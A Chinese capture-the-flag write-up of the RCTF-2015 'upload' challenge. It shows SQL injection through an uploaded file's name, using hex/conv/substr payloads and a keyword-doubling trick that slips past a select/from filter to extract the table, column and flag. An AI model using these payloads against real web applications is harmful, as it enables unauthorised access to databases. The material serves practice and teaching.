XCTF WEB upload(RCTF-2015)
兩百多天未解決的問題了,,,,
打開題目,發現需要登錄註冊,,註冊登陸之後需要我們進行文件上傳:
估摸着登錄頁面與註冊頁面沒有漏洞,,,,,畢竟題目提示就是讓我們上傳,,
上傳的套路都試過,只能上傳jpg圖片,,,,其他一律不行,,,而且不知道路徑爲多少,,,
jpg圖片上傳成功之後有個提示:
奇怪的uid,,,,,數據庫編號之類的,,,上傳文件會在頁面進行顯示,,
懷疑圖片會存放到數據庫中,,圖片名可能存在sql注入,,,
上傳一個1'.jpg
的圖片發現頁面中沒有任何顯示,,,可能是由於sql語句報錯引起的!
後端可能的數據庫插入語句爲
INSERT INTO `xxx`(`id`, `name`) VALUES ('id號','圖片名')
自己利用數據庫進行測試,發現圖片名爲'+database()+'.jpg
時,數據庫中得到的結果是0,,,,
重新構造'+hex(database())+'.jpg
時,數據庫中存放的纔是16進制的數字,,,
構造'+hex(database())+'.jpg
進行上傳,得到頁面回顯:7765625
能轉化爲web,,,有不有後面的5都能轉化爲web,不應該,,,後面可能有缺少
再通過conv函數將16進制轉化爲10進制進行輸出,,'+(conv(hex(database()),16,10))+'.jpg
可能數太長使用了科學計數法進行表示,,重新構造,利用mid函數進行分割:
'+(conv(mid(hex(database()),1,12),16,10))+'.jpg
發現提示SQL注入,,,
換成substr函數:
'+(conv(substr(hex(database()),1,12),16,10))+'.jpg
回顯:131277325825392
轉化之後得到了字符串:“web_up”
繼續:
'+(conv(substr(hex(database()),13,12),16,10))+'.jpg
回顯:1819238756
轉化之後得到字符串:“load”
ok,考試構造sql語句進行爆表:
'+(conv(substr(hex((select table_name from information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
發現過濾了select,,還有from,,,
嘗試進行雙寫繞過:
'+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
成功繞過,得到回顯:114784820031327
得到字符串:“hello_”
繼續得到回顯:112615676665705
得到字符串:“flag_i”
繼續得到回顯:126853610566245
得到字符串:“s_here”
ok,得到表名:hello_flag_is_here
繼續爆列名:
'+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
繼續得到回顯:115858377367398
得到字符串:“i_am_f”
繼續得到回顯:7102823
得到字符串:“lag”
得到列名:i_am_flag
接下來最後一步,爆值:
'+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
繼續得到回顯:36427215695199
得到字符串:“!!_@m_”
繼續得到回顯:92806431727430
得到字符串:“Th.e_F”
繼續得到回顯:560750951
得到字符串:“!lag”
得到flag值:!!_@m_Th.e_F!lag
一路的坎坷,考察點是sql注入,但是不知道考察點在何處就怎麼做也做不出來,,,,
而且過程也有點難頂,沒有耐心的估計也堅持不下去,